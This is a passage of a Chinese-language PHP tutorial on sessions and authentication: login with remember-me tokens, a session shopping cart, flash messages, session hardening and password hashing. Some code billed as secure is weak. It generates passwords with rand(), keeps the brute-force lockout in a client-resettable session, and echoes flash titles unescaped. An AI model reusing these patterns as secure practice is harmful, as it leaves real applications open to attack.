            $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];

            // 设置记住我功能
            if ($remember) {
                $token = bin2hex(random_bytes(32));
                $this->setRememberToken($user['id'], $token);
                setcookie('remember_token', $token, time() + (86400 * 30), '/', '', false, true);
            }

            return true;
        }

        return false;
    }

    // 验证用户身份
    public function authenticateUser($username, $password) {
        $stmt = $this->db->prepare("SELECT * FROM users WHERE username = :username AND status = 'active'");
        $stmt->execute([':username' => $username]);
        $user = $stmt->fetch(PDO::FETCH_ASSOC);

        if ($user && password_verify($password, $user['password'])) {
            return $user;
        }

        return false;
    }

    // 检查用户是否已登录
    public function isLoggedIn() {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            session_start();
        }

        // 检查Session是否存在
        if (!isset($_SESSION['user_id'])) {
            // 尝试使用记住我功能
            return $this->checkRememberToken();
        }

        // 检查Session是否超时
        if (time() - $_SESSION['last_activity'] > $this->session_timeout) {
            $this->logout();
            return false;
        }

        // 验证IP地址和User-Agent(可选的安全检查)
        if ($_SESSION['ip_address'] !== $_SERVER['REMOTE_ADDR'] ||
            $_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
            $this->logout();
            return false;
        }

        // 更新最后活动时间
        $_SESSION['last_activity'] = time();

        return true;
    }

    // 检查记住我令牌
    private function checkRememberToken() {
        if (isset($_COOKIE['remember_token'])) {
            $token = $_COOKIE['remember_token'];
            $stmt = $this->db->prepare("SELECT user_id FROM remember_tokens WHERE token = :token AND expires > :now");
            $stmt->execute([':token' => $token, ':now' => time()]);
            $result = $stmt->fetch(PDO::FETCH_ASSOC);

            if ($result) {
                session_start();
                session_regenerate_id(true);

                // 加载用户信息到Session
                $user = $this->getUserById($result['user_id']);
                if ($user) {
                    $_SESSION['user_id'] = $user['id'];
                    $_SESSION['username'] = $user['username'];
                    $_SESSION['email'] = $user['email'];
                    $_SESSION['role'] = $user['role'];
                    $_SESSION['login_time'] = time();
                    $_SESSION['last_activity'] = time();
                    $_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR'];
                    $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];

                    return true;
                }
            }
        }

        return false;
    }

    // 根据ID获取用户信息
    private function getUserById($userId) {
        $stmt = $this->db->prepare("SELECT id, username, email, role FROM users WHERE id = :id AND status = 'active'");
        $stmt->execute([':id' => $userId]);
        return $stmt->fetch(PDO::FETCH_ASSOC);
    }

    // 设置记住我令牌
    private function setRememberToken($userId, $token) {
        $expires = time() + (86400 * 30); // 30天
        $stmt = $this->db->prepare("INSERT INTO remember_tokens (user_id, token, expires) VALUES (:user_id, :token, :expires)");
        return $stmt->execute([':user_id' => $userId, ':token' => $token, ':expires' => $expires]);
    }

    // 用户登出
    public function logout() {
        session_start();

        // 清除Session数据
        $_SESSION = [];

        // 删除Session Cookie
        if (ini_get("session.use_cookies")) {
            $params = session_get_cookie_params();
            setcookie(session_name(), '', time() - 42000,
                $params["path"], $params["domain"],
                $params["secure"], $params["httponly"]
            );
        }

        // 销毁Session
        session_destroy();

        // 删除记住我令牌
        if (isset($_COOKIE['remember_token'])) {
            $token = $_COOKIE['remember_token'];
            $stmt = $this->db->prepare("DELETE FROM remember_tokens WHERE token = :token");
            $stmt->execute([':token' => $token]);

            setcookie('remember_token', '', time() - 3600, '/');
        }
    }

    // 获取当前用户信息
    public function getCurrentUser() {
        if ($this->isLoggedIn()) {
            return [
                'id' => $_SESSION['user_id'],
                'username' => $_SESSION['username'],
                'email' => $_SESSION['email'],
                'role' => $_SESSION['role']
            ];
        }
        return null;
    }

    // 检查用户权限
    public function hasRole($requiredRole) {
        if (!$this->isLoggedIn()) {
            return false;
        }

        $userRole = $_SESSION['role'];

        // 简单的角色层次:admin > manager > user
        $roleHierarchy = [
            'admin' => 3,
            'manager' => 2,
            'user' => 1
        ];

        return ($roleHierarchy[$userRole] ?? 0) >= ($roleHierarchy[$requiredRole] ?? 0);
    }
}

// 使用示例
/*
// 数据库连接
$pdo = new PDO('mysql:host=localhost;dbname=myapp', 'username', 'password');
$auth = new UserAuth($pdo);

// 用户登录
if ($_POST['action'] === 'login') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $remember = isset($_POST['remember']);

    if ($auth->login($username, $password, $remember)) {
        echo "登录成功!";
    } else {
        echo "用户名或密码错误!";
    }
}

// 检查登录状态
if ($auth->isLoggedIn()) {
    $user = $auth->getCurrentUser();
    echo "欢迎," . $user['username'] . "!";

    // 权限检查
    if ($auth->hasRole('admin')) {
        echo "您有管理员权限";
    }
} else {
    echo "请先登录!";
}

// 用户登出
if ($_GET['action'] === 'logout') {
    $auth->logout();
    echo "已安全退出登录";
}
*/
?>

示例2:购物车Session管理

<?php
// 购物车Session管理类
class SessionCart {
    private $cartKey = 'shopping_cart';

    public function __construct() {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            session_start();
        }

        // 初始化购物车
        if (!isset($_SESSION[$this->cartKey])) {
            $_SESSION[$this->cartKey] = [
                'items' => [],
                'total_price' => 0,
                'total_quantity' => 0,
                'currency' => 'CNY',
                'created_at' => time(),
                'updated_at' => time()
            ];
        }
    }

    // 添加商品到购物车
    public function addItem($productId, $productName, $price, $quantity = 1, $options = []) {
        $cart = &$_SESSION[$this->cartKey];

        // 生成商品唯一键
        $itemKey = $productId . '_' . md5(serialize($options));

        if (isset($cart['items'][$itemKey])) {
            // 商品已存在,增加数量
            $cart['items'][$itemKey]['quantity'] += $quantity;
        } else {
            // 新商品
            $cart['items'][$itemKey] = [
                'product_id' => $productId,
                'name' => $productName,
                'price' => $price,
                'quantity' => $quantity,
                'options' => $options,
                'added_at' => time()
            ];
        }

        $this->updateCartTotals();
        return true;
    }

    // 更新商品数量
    public function updateQuantity($itemKey, $quantity) {
        $cart = &$_SESSION[$this->cartKey];

        if (isset($cart['items'][$itemKey])) {
            if ($quantity <= 0) {
                unset($cart['items'][$itemKey]);
            } else {
                $cart['items'][$itemKey]['quantity'] = $quantity;
            }

            $this->updateCartTotals();
            return true;
        }

        return false;
    }

    // 移除商品
    public function removeItem($itemKey) {
        $cart = &$_SESSION[$this->cartKey];

        if (isset($cart['items'][$itemKey])) {
            unset($cart['items'][$itemKey]);
            $this->updateCartTotals();
            return true;
        }

        return false;
    }

    // 获取购物车数据
    public function getCart() {
        return $_SESSION[$this->cartKey];
    }

    // 获取购物车商品
    public function getItems() {
        return $_SESSION[$this->cartKey]['items'];
    }

    // 获取商品总数
    public function getTotalQuantity() {
        return $_SESSION[$this->cartKey]['total_quantity'];
    }

    // 获取总价
    public function getTotalPrice() {
        return $_SESSION[$this->cartKey]['total_price'];
    }

    // 获取商品数量
    public function getItemCount() {
        return count($_SESSION[$this->cartKey]['items']);
    }

    // 清空购物车
    public function clear() {
        $_SESSION[$this->cartKey] = [
            'items' => [],
            'total_price' => 0,
            'total_quantity' => 0,
            'currency' => 'CNY',
            'created_at' => time(),
            'updated_at' => time()
        ];
    }

    // 检查购物车是否为空
    public function isEmpty() {
        return empty($_SESSION[$this->cartKey]['items']);
    }

    // 保存购物车到用户账户(用户登录后)
    public function saveToDatabase($userId, $db) {
        if ($this->isEmpty()) {
            return false;
        }

        $cartData = json_encode($_SESSION[$this->cartKey]);

        $stmt = $db->prepare("
            INSERT INTO user_carts (user_id, cart_data, updated_at)
            VALUES (:user_id, :cart_data, :updated_at)
            ON DUPLICATE KEY UPDATE cart_data = :cart_data, updated_at = :updated_at
        ");

        return $stmt->execute([
            ':user_id' => $userId,
            ':cart_data' => $cartData,
            ':updated_at' => date('Y-m-d H:i:s')
        ]);
    }

    // 从数据库加载购物车(用户登录后)
    public function loadFromDatabase($userId, $db) {
        $stmt = $db->prepare("SELECT cart_data FROM user_carts WHERE user_id = :user_id");
        $stmt->execute([':user_id' => $userId]);
        $result = $stmt->fetch(PDO::FETCH_ASSOC);

        if ($result) {
            $cartData = json_decode($result['cart_data'], true);
            if ($cartData) {
                $_SESSION[$this->cartKey] = $cartData;
                return true;
            }
        }

        return false;
    }

    // 更新购物车统计信息
    private function updateCartTotals() {
        $cart = &$_SESSION[$this->cartKey];
        $totalPrice = 0;
        $totalQuantity = 0;

        foreach ($cart['items'] as $item) {
            $totalPrice += $item['price'] * $item['quantity'];
            $totalQuantity += $item['quantity'];
        }

        $cart['total_price'] = $totalPrice;
        $cart['total_quantity'] = $totalQuantity;
        $cart['updated_at'] = time();
    }

    // 应用折扣码
    public function applyDiscountCode($code, $db) {
        $stmt = $db->prepare("SELECT * FROM discount_codes WHERE code = :code AND expires_at > :now AND used = 0");
        $stmt->execute([':code' => $code, ':now' => date('Y-m-d H:i:s')]);
        $discount = $stmt->fetch(PDO::FETCH_ASSOC);

        if ($discount) {
            $cart = &$_SESSION[$this->cartKey];
            $discountAmount = 0;

            if ($discount['type'] === 'percentage') {
                $discountAmount = $cart['total_price'] * ($discount['value'] / 100);
            } elseif ($discount['type'] === 'fixed') {
                $discountAmount = min($discount['value'], $cart['total_price']);
            }

            $cart['discount'] = [
                'code' => $code,
                'amount' => $discountAmount,
                'type' => $discount['type'],
                'value' => $discount['value']
            ];

            $this->updateCartTotals();
            return $discountAmount;
        }

        return false;
    }

    // 获取最终价格(含折扣)
    public function getFinalPrice() {
        $cart = $_SESSION[$this->cartKey];
        $finalPrice = $cart['total_price'];

        if (isset($cart['discount'])) {
            $finalPrice -= $cart['discount']['amount'];
        }

        return max(0, $finalPrice);
    }

    // 显示购物车
    public function displayCart() {
        $cart = $this->getCart();

        if ($this->isEmpty()) {
            echo "<div class='cart-empty'>购物车是空的</div>";
            return;
        }

        echo "<div class='shopping-cart'>";
        echo "<h2>购物车 (" . $this->getItemCount() . "件商品)</h2>";

        echo "<table class='cart-table'>";
        echo "<thead>";
        echo "<tr>";
        echo "<th>商品</th>";
        echo "<th>单价</th>";
        echo "<th>数量</th>";
        echo "<th>小计</th>";
        echo "<th>操作</th>";
        echo "</tr>";
        echo "</thead>";

        echo "<tbody>";
        foreach ($cart['items'] as $itemKey => $item) {
            $subtotal = $item['price'] * $item['quantity'];
            echo "<tr>";
            echo "<td>" . htmlspecialchars($item['name']) . "</td>";
            echo "<td>¥" . number_format($item['price'], 2) . "</td>";
            echo "<td>";
            echo "<input type='number' value='{$item['quantity']}' min='1' class='quantity-input' data-item-key='$itemKey'>";
            echo "</td>";
            echo "<td>¥" . number_format($subtotal, 2) . "</td>";
            echo "<td><button class='remove-item' data-item-key='$itemKey'>删除</button></td>";
            echo "</tr>";
        }
        echo "</tbody>";

        echo "<tfoot>";
        echo "<tr>";
        echo "<td colspan='3'>商品总价:</td>";
        echo "<td>¥" . number_format($cart['total_price'], 2) . "</td>";
        echo "<td></td>";
        echo "</tr>";

        if (isset($cart['discount'])) {
            echo "<tr>";
            echo "<td colspan='3'>优惠折扣:</td>";
            echo "<td>-¥" . number_format($cart['discount']['amount'], 2) . "</td>";
            echo "<td></td>";
            echo "</tr>";
        }

        echo "<tr class='total-row'>";
        echo "<td colspan='3'>总计:</td>";
        echo "<td>¥" . number_format($this->getFinalPrice(), 2) . "</td>";
        echo "<td></td>";
        echo "</tr>";
        echo "</tfoot>";

        echo "</table>";
        echo "</div>";
    }
}

// 使用示例
$cart = new SessionCart();

// 添加商品
$cart->addItem(1, "iPhone 14", 5999.00, 1);
$cart->addItem(2, "MacBook Pro", 12999.00, 1, ['color' => '银色', 'storage' => '512GB']);
$cart->addItem(3, "AirPods", 1299.00, 2);

// 显示购物车信息
echo "<div class='cart-summary'>";
echo "<p>商品种类:" . $cart->getItemCount() . " 种</p>";
echo "<p>商品总数:" . $cart->getTotalQuantity() . " 件</p>";
echo "<p>总价:¥" . number_format($cart->getTotalPrice(), 2) . "</p>";
echo "</div>";

// 显示详细购物车
$cart->displayCart();
?>

示例3:Session Flash消息系统

<?php
// Flash消息系统 - 用于在请求之间传递临时消息
class FlashMessage {
    private $flashKey = 'flash_messages';

    public function __construct() {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            session_start();
        }

        // 初始化Flash消息数组
        if (!isset($_SESSION[$this->flashKey])) {
            $_SESSION[$this->flashKey] = [];
        }
    }

    // 添加Flash消息
    public function add($message, $type = 'info', $title = '') {
        $_SESSION[$this->flashKey][] = [
            'message' => $message,
            'type' => $type,
            'title' => $title,
            'timestamp' => time()
        ];
    }

    // 添加成功消息
    public function success($message, $title = '成功') {
        $this->add($message, 'success', $title);
    }

    // 添加错误消息
    public function error($message, $title = '错误') {
        $this->add($message, 'error', $title);
    }

    // 添加警告消息
    public function warning($message, $title = '警告') {
        $this->add($message, 'warning', $title);
    }

    // 添加信息消息
    public function info($message, $title = '信息') {
        $this->add($message, 'info', $title);
    }

    // 获取所有Flash消息
    public function getAll() {
        $messages = $_SESSION[$this->flashKey] ?? [];
        // 清空Flash消息(一次性显示)
        $_SESSION[$this->flashKey] = [];
        return $messages;
    }

    // 检查是否有Flash消息
    public function hasMessages() {
        return !empty($_SESSION[$this->flashKey]);
    }

    // 获取特定类型的Flash消息
    public function getByType($type) {
        $messages = [];
        $remaining = [];

        foreach ($_SESSION[$this->flashKey] as $message) {
            if ($message['type'] === $type) {
                $messages[] = $message;
            } else {
                $remaining[] = $message;
            }
        }

        $_SESSION[$this->flashKey] = $remaining;
        return $messages;
    }

    // 显示Flash消息
    public function display() {
        $messages = $this->getAll();

        if (empty($messages)) {
            return;
        }

        echo "<div class='flash-messages'>";

        foreach ($messages as $msg) {
            $cssClass = "flash-{$msg['type']}";
            $title = $msg['title'] ? "<strong>{$msg['title']}: </strong>" : '';

            echo "<div class='$cssClass'>";
            echo "$title" . htmlspecialchars($msg['message']);
            echo "</div>";
        }

        echo "</div>";
    }

    // 显示为HTML和JavaScript
    public function displayWithJS() {
        $messages = $this->getAll();

        if (empty($messages)) {
            return;
        }

        echo "<script>";
        echo "document.addEventListener('DOMContentLoaded', function() {";

        foreach ($messages as $msg) {
            $safeMessage = addslashes(htmlspecialchars($msg['message']));
            $safeTitle = addslashes(htmlspecialchars($msg['title']));
            $jsType = $this->getJSType($msg['type']);

            echo "showFlashMessage('$safeMessage', '$jsType', '$safeTitle');";
        }

        echo "});";
        echo "</script>";

        // 输出必要的CSS和JavaScript
        $this->outputAssets();
    }

    // 获取JavaScript类型映射
    private function getJSType($type) {
        $mapping = [
            'success' => 'success',
            'error' => 'error',
            'warning' => 'warning',
            'info' => 'info'
        ];

        return $mapping[$type] ?? 'info';
    }

    // 输出CSS和JavaScript资源
    private function outputAssets() {
        static $assetsOutputted = false;

        if ($assetsOutputted) {
            return;
        }

        echo "<style>";
        echo ".flash-messages { margin: 20px 0; }";
        echo ".flash-success { background-color: #d4edda; color: #155724; padding: 15px; border: 1px solid #c3e6cb; border-radius: 4px; margin-bottom: 10px; }";
        echo ".flash-error { background-color: #f8d7da; color: #721c24; padding: 15px; border: 1px solid #f5c6cb; border-radius: 4px; margin-bottom: 10px; }";
        echo ".flash-warning { background-color: #fff3cd; color: #856404; padding: 15px; border: 1px solid #ffeaa7; border-radius: 4px; margin-bottom: 10px; }";
        echo ".flash-info { background-color: #d1ecf1; color: #0c5460; padding: 15px; border: 1px solid #bee5eb; border-radius: 4px; margin-bottom: 10px; }";
        echo "</style>";

        echo "<script>";
        echo "function showFlashMessage(message, type, title) {";
        echo "    // 创建消息元素";
        echo "    const div = document.createElement('div');";
        echo "    div.className = 'flash-' + type;";
        echo "    div.innerHTML = (title ? '<strong>' + title + ': </strong>' : '') + message;";
        echo "    ";
        echo "    // 添加到页面顶部";
        echo "    const container = document.querySelector('.flash-messages') || document.body;";
        echo "    container.insertBefore(div, container.firstChild);";
        echo "    ";
        echo "    // 5秒后自动消失";
        echo "    setTimeout(function() {";
        echo "        if (div.parentNode) {";
        echo "            div.parentNode.removeChild(div);";
        echo "        }";
        echo "    }, 5000);";
        echo "}";
        echo "</script>";

        $assetsOutputted = true;
    }
}

// 使用示例
$flash = new FlashMessage();

// 在处理表单后添加消息
if ($_POST['action'] === 'register') {
    if ($registrationSuccess) {
        $flash->success('用户注册成功!请查收邮件激活账户。', '注册成功');
    } else {
        $flash->error('注册失败,请检查输入信息。', '注册失败');
    }
}

// 在其他操作中添加消息
if ($fileUploaded) {
    $flash->success('文件上传成功!', '上传完成');
} elseif ($uploadError) {
    $flash->warning('文件上传失败,请检查文件大小和格式。', '上传警告');
}

// 在页面中显示消息
$flash->displayWithJS();

// 或者在模板中使用
/*
<html>
<head>
    <?php $flash->outputAssets(); ?>
</head>
<body>
    <?php $flash->display(); ?>
    <!-- 页面内容 -->
</body>
</html>
*/
?>

Session安全性

1. Session安全最佳实践

<?php
// Session安全配置类
class SecureSession {
    public function __construct() {
        // 配置安全的Session选项
        $this->configureSecureSession();
    }

    private function configureSecureSession() {
        // 只使用Cookie传递Session ID
        ini_set('session.use_only_cookies', 1);

        // 启用严格模式
        ini_set('session.use_strict_mode', 1);

        // 设置HttpOnly标志
        ini_set('session.cookie_httponly', 1);

        // 如果使用HTTPS,启用Secure标志
        if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') {
            ini_set('session.cookie_secure', 1);
        }

        // 设置SameSite属性
        ini_set('session.cookie_samesite', 'Strict');

        // 重新生成Session ID
        if (session_status() !== PHP_SESSION_ACTIVE) {
            session_start();
            session_regenerate_id(true);
        }

        // 设置Session过期时间
        ini_set('session.cookie_lifetime', 3600); // 1小时
        ini_set('session.gc_maxlifetime', 3600);  // 1小时

        // 禁用URL传递Session ID
        ini_set('session.use_trans_sid', 0);
    }

    // 验证Session完整性
    public function validateSession() {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            session_start();
        }

        // 检查必要的Session变量
        if (!isset($_SESSION['session_fingerprint'])) {
            $this->createSessionFingerprint();
            return true;
        }

        // 验证Session指纹
        return $this->verifySessionFingerprint();
    }

    // 创建Session指纹
    private function createSessionFingerprint() {
        $fingerprint = [
            'ip_address' => $_SERVER['REMOTE_ADDR'] ?? '',
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? '',
            'created_at' => time()
        ];

        $_SESSION['session_fingerprint'] = $fingerprint;
    }

    // 验证Session指纹
    private function verifySessionFingerprint() {
        $fingerprint = $_SESSION['session_fingerprint'];

        // 检查IP地址(可选,可能会影响移动用户)
        if ($fingerprint['ip_address'] !== ($_SERVER['REMOTE_ADDR'] ?? '')) {
            return false;
        }

        // 检查User-Agent
        if ($fingerprint['user_agent'] !== ($_SERVER['HTTP_USER_AGENT'] ?? '')) {
            return false;
        }

        return true;
    }

    // 定期重新生成Session ID
    public function rotateSessionId() {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            session_start();
        }

        // 每30分钟重新生成一次
        if (!isset($_SESSION['last_rotation'])) {
            $_SESSION['last_rotation'] = time();
        } elseif (time() - $_SESSION['last_rotation'] > 1800) {
            session_regenerate_id(true);
            $_SESSION['last_rotation'] = time();
        }
    }

    // 清理过期的Session
    public function cleanupExpiredSessions() {
        // 这通常在服务器层面配置
        // session.gc_probability = 1
        // session.gc_divisor = 100
        // session.gc_maxlifetime = 3600
    }

    // 设置Session命名空间
    public function setNamespace($namespace) {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            session_start();
        }

        $_SESSION[$namespace] = $_SESSION[$namespace] ?? [];
    }

    // 获取Session命名空间数据
    public function getNamespace($namespace) {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            session_start();
        }

        return $_SESSION[$namespace] ?? [];
    }
}

// 使用安全Session
$secureSession = new SecureSession();

// 验证Session
if (!$secureSession->validateSession()) {
    // Session可能被劫持,强制用户重新登录
    session_destroy();
    header('Location: /login?error=session_invalid');
    exit;
}

// 定期轮换Session ID
$secureSession->rotateSessionId();
?>

2. 防范Session攻击

<?php
// Session安全防护类
class SessionSecurity {
    private $maxLoginAttempts = 5;
    private $lockoutDuration = 900; // 15分钟

    public function __construct() {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            session_start();
        }
    }

    // 防止Session固定攻击
    public function preventSessionFixation() {
        // 在用户认证后重新生成Session ID
        if (isset($_SESSION['authenticated']) && !isset($_SESSION['id_rotated'])) {
            session_regenerate_id(true);
            $_SESSION['id_rotated'] = true;
        }
    }

    // 防止Session劫持
    public function preventSessionHijacking() {
        // 检查IP地址变化
        if (isset($_SESSION['user_ip'])) {
            $currentIp = $_SERVER['REMOTE_ADDR'];

            // 如果IP地址发生变化,可能存在劫持
            if ($_SESSION['user_ip'] !== $currentIp) {
                // 记录安全事件
                $this->logSecurityEvent('IP地址变化', [
                    'original_ip' => $_SESSION['user_ip'],
                    'current_ip' => $currentIp,
                    'session_id' => session_id()
                ]);

                // 强制用户重新登录
                $this->forceLogout('安全检测:IP地址发生变化');
            }
        } else {
            // 记录初始IP地址
            $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
        }

        // 检查User-Agent
        if (isset($_SESSION['user_agent'])) {
            $currentAgent = $_SERVER['HTTP_USER_AGENT'];

            if ($_SESSION['user_agent'] !== $currentAgent) {
                $this->forceLogout('安全检测:浏览器信息发生变化');
            }
        } else {
            $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
        }
    }

    // 防止暴力破解
    public function preventBruteForce() {
        $ip = $_SERVER['REMOTE_ADDR'];
        $key = "login_attempts_$ip";

        // 检查是否被锁定
        if (isset($_SESSION[$key . '_locked']) &&
            $_SESSION[$key . '_locked'] > time()) {

            $remainingTime = $_SESSION[$key . '_locked'] - time();
            throw new Exception("账户已被锁定,请 {$remainingTime} 秒后重试");
        }

        // 重置尝试次数(如果时间已过)
        if (isset($_SESSION[$key]) &&
            isset($_SESSION[$key . '_time']) &&
            (time() - $_SESSION[$key . '_time']) > $this->lockoutDuration) {
            unset($_SESSION[$key]);
            unset($_SESSION[$key . '_time']);
        }

        // 记录失败尝试
        if (isset($_SESSION[$key])) {
            $_SESSION[$key]++;
        } else {
            $_SESSION[$key] = 1;
            $_SESSION[$key . '_time'] = time();
        }

        // 检查是否超过最大尝试次数
        if ($_SESSION[$key] >= $this->maxLoginAttempts) {
            $_SESSION[$key . '_locked'] = time() + $this->lockoutDuration;

            $this->logSecurityEvent('暴力破解检测', [
                'ip' => $ip,
                'attempts' => $_SESSION[$key],
                'locked_until' => date('Y-m-d H:i:s', $_SESSION[$key . '_locked'])
            ]);

            throw new Exception("登录失败次数过多,账户已被锁定 {$this->lockoutDuration} 秒");
        }
    }

    // 记录登录成功
    public function recordLoginSuccess($userId) {
        $ip = $_SERVER['REMOTE_ADDR'];
        $key = "login_attempts_$ip";

        // 清除失败记录
        unset($_SESSION[$key]);
        unset($_SESSION[$key . '_time']);
        unset($_SESSION[$key . '_locked']);

        // 记录成功登录
        $_SESSION['login_success'] = [
            'user_id' => $userId,
            'login_time' => time(),
            'ip' => $ip
        ];

        $this->logSecurityEvent('登录成功', [
            'user_id' => $userId,
            'ip' => $ip
        ]);
    }

    // 强制登出
    private function forceLogout($reason) {
        $this->logSecurityEvent('强制登出', [
            'reason' => $reason,
            'session_id' => session_id(),
            'user_data' => $_SESSION
        ]);

        // 清除Session数据
        $_SESSION = [];

        // 删除Session Cookie
        if (ini_get("session.use_cookies")) {
            $params = session_get_cookie_params();
            setcookie(session_name(), '', time() - 42000,
                $params["path"], $params["domain"],
                $params["secure"], $params["httponly"]
            );
        }

        // 销毁Session
        session_destroy();

        // 重定向到登录页面
        header('Location: /login?error=' . urlencode($reason));
        exit;
    }

    // 记录安全事件
    private function logSecurityEvent($event, $data = []) {
        $logEntry = [
            'timestamp' => date('Y-m-d H:i:s'),
            'event' => $event,
            'data' => $data,
            'session_id' => session_id(),
            'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'unknown'
        ];

        // 这里可以将日志写入文件或数据库
        error_log(json_encode($logEntry));
    }

    // 获取Session统计信息
    public function getSessionStats() {
        return [
            'session_id' => session_id(),
            'created_at' => date('Y-m-d H:i:s', $_SESSION['login_success']['login_time'] ?? time()),
            'ip_address' => $_SESSION['user_ip'] ?? 'unknown',
            'user_agent' => $_SESSION['user_agent'] ?? 'unknown',
            'is_authenticated' => isset($_SESSION['authenticated']),
            'last_activity' => date('Y-m-d H:i:s', $_SESSION['last_activity'] ?? time())
        ];
    }
}

// 使用安全防护
$sessionSecurity = new SessionSecurity();

// 在每个页面请求中检查
$sessionSecurity->preventSessionHijacking();
$sessionSecurity->preventSessionFixation();

// 在登录尝试中
if ($_POST['action'] === 'login') {
    try {
        $sessionSecurity->preventBruteForce();

        // 验证用户凭据
        if ($loginSuccess) {
            $sessionSecurity->recordLoginSuccess($userId);
            // 设置认证状态
            $_SESSION['authenticated'] = true;
            $_SESSION['user_id'] = $userId;
            echo "登录成功!";
        } else {
            echo "用户名或密码错误!";
        }
    } catch (Exception $e) {
        echo $e->getMessage();
    }
}
?>

总结

Session是PHP中实现用户状态管理的核心机制,它提供了安全、可靠的方式来在多个页面请求之间存储用户信息。

关键要点:

  1. Session存储在服务器端,比Cookie更安全
  2. 必须在任何输出之前调用session_start()
  3. Session ID通过Cookie传递,也可通过URL传递(不推荐)
  4. 定期重新生成Session ID防止固定攻击
  5. 合理设置过期时间平衡安全性和用户体验

最佳实践:

  • 使用HTTPS保护Session Cookie
  • 设置HttpOnly和Secure标志
  • 实现Session超时和清理机制
  • 验证Session完整性防止劫持
  • 在敏感操作后重新生成Session ID

通过正确使用Session,你可以创建安全、用户友好的Web应用程序。Cookie和Session的结合使用为现代Web应用提供了完整的状态管理解决方案。

用户认证基础

什么是用户认证?

用户认证是验证用户身份的过程,确保只有合法的用户才能访问受保护的资源。在Web应用中,用户认证通常包括以下几个核心功能:

  • 用户注册:创建新用户账户
  • 用户登录:验证用户凭据
  • 会话管理:维持用户登录状态
  • 权限控制:根据用户角色控制访问权限
  • 密码安全:安全存储和验证密码

认证系统的基本组件

1. 用户数据存储

<?php
// 用户数据表结构示例
/*
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL,
    email VARCHAR(100) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,
    role ENUM('admin', 'user', 'guest') DEFAULT 'user',
    status ENUM('active', 'inactive', 'suspended') DEFAULT 'inactive',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    last_login TIMESTAMP NULL,
    login_attempts INT DEFAULT 0,
    locked_until TIMESTAMP NULL
);

CREATE TABLE user_profiles (
    user_id INT PRIMARY KEY,
    first_name VARCHAR(50),
    last_name VARCHAR(50),
    phone VARCHAR(20),
    avatar_url VARCHAR(255),
    bio TEXT,
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);
*/
?>

2. 密码哈希处理

<?php
// 密码处理类
class PasswordManager {
    // 创建密码哈希
    public static function hashPassword($password) {
        // 使用PASSWORD_DEFAULT算法(目前是bcrypt)
        return password_hash($password, PASSWORD_DEFAULT);
    }

    // 验证密码
    public static function verifyPassword($password, $hash) {
        return password_verify($password, $hash);
    }

    // 检查密码是否需要重新哈希
    public static function needsRehash($hash) {
        return password_needs_rehash($hash, PASSWORD_DEFAULT);
    }

    // 生成安全密码
    public static function generateSecurePassword($length = 12) {
        $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()';
        $password = '';
        $characterCount = strlen($characters);

        for ($i = 0; $i < $length; $i++) {
            $password .= $characters[rand(0, $characterCount - 1)];
        }

        return $password;
    }

    // 验证密码强度
    public static function validatePasswordStrength($password) {
        $errors = [];

        // 长度检查
        if (strlen($password) < 8) {
            $errors[] = "密码长度至少为8个字符";
        }

        // 包含大写字母
        if (!preg_match('/[A-Z]/', $password)) {
            $errors[] = "密码必须包含至少一个大写字母";
        }

        // 包含小写字母
        if (!preg_match('/[a-z]/', $password)) {
            $errors[] = "密码必须包含至少一个小写字母";
        }

        // 包含数字
        if (!preg_match('/[0-9]/', $password)) {
            $errors[] = "密码必须包含至少一个数字";
        }

        // 包含特殊字符
        if (!preg_match('/[!@#$%^&*()\-_+=]/', $password)) {
            $errors[] = "密码必须包含至少一个特殊字符";
        }

        return $errors;
    }
}

// 使用示例
$password = "MySecurePassword123!";
$hash = PasswordManager::hashPassword($password);

echo "密码哈希:" . $hash . "<br>";

// 验证密码
if (PasswordManager::verifyPassword("MySecurePassword123!", $hash)) {
    echo "密码验证成功<br>";
} else {
    echo "密码验证失败<br>";
}

// 生成安全密码
$securePassword = PasswordManager::generateSecurePassword(16);
echo "生成的安全密码:" . $securePassword . "<br>";

// 验证密码强度
$strengthErrors = PasswordManager::validatePasswordStrength($password);
if (empty($strengthErrors)) {
    echo "密码强度符合要求<br>";
} else {
    echo "密码强度问题:" . implode(', ', $strengthErrors) . "<br>";
}
?>

3. 用户注册系统

<?php
// 用户注册类
class UserRegistration {
    private $db;
    private $errors = [];

    public function __construct($database) {
        $this->db = $database;
    }

    // 注册新用户
    public function register($userData) {
        // 验证输入数据
        if (!$this->validateInput($userData)) {
            return false;
        }

        // 检查用户名是否已存在
        if ($this->isUsernameExists($userData['username'])) {
            $this->errors[] = "用户名已存在";
            return false;
        }

        // 检查邮箱是否已存在
        if ($this->isEmailExists($userData['email'])) {
            $this->errors[] = "邮箱已被注册";
            return false;
        }

        // 验证密码强度
        $passwordErrors = PasswordManager::validatePasswordStrength($userData['password']);
        if (!empty($passwordErrors)) {
            $this->errors = array_merge($this->errors, $passwordErrors);
            return false;
        }

        // 创建用户
        $userId = $this->createUser($userData);

        if ($userId) {
            // 创建用户资料
            $this->createUserProfile($userId, $userData);
            // 发送验证邮件
